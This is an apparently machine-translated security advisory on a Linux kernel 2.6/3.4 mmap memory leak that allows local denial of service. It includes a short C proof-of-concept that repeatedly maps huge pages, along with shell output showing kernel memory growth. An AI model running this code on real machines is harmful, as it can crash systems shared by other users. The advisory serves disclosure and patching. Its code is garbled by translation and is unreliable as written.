Linux Kernel 'mmap () 'Failure Local Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
Linux kernel 2.6.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 53668

Linux Kernel is the Kernel of the Linux operating system.

Linux Kernel 2.6.32 and 3.4-rc6 have a local denial of service vulnerability caused by memory leakage when calling the mmap. By running the following code, the 32-byte kmalloc cache will increase by 10 mio entries. Unauthorized Local attackers can exploit this vulnerability to trigger kernel crashes.

<* Source: Christoph Lameter

Link: http://www.spinics.net/lists/linux-mm/msg34763.html
Https://lkml.org/lkml/2012/5/21/385
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

An exception may occur when you perform the following operations:
--------
# Include <sys/mman. h>
# Include <stdlib. h>

# Ifndef MAP_HUGETLB
# Define MAP_HUGETLB 0x0040000
# Endif

Int main (){
For (int I = 0; I! = 10000000; ++ I ){
Void * ptr = mmap (NULL, 2*1024*1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, 0, 0 );
If (ptr! = MAP_FAILED) abort ();
}
Return 0;
}

-------

G ++-O2 test. cpp & echo good
Good

$ Egrep 'sunreclaim | HugePages_Total '/proc/meminfo
SUnreclaim: 1900756 kB
HugePages_Total: 0

$./A. out & echo good
Good

$ Egrep 'sunreclaim | HugePages_Total '/proc/meminfo
SUnreclaim: 2213268 kB
HugePages_Total: 0

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Linux
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.kernel.org/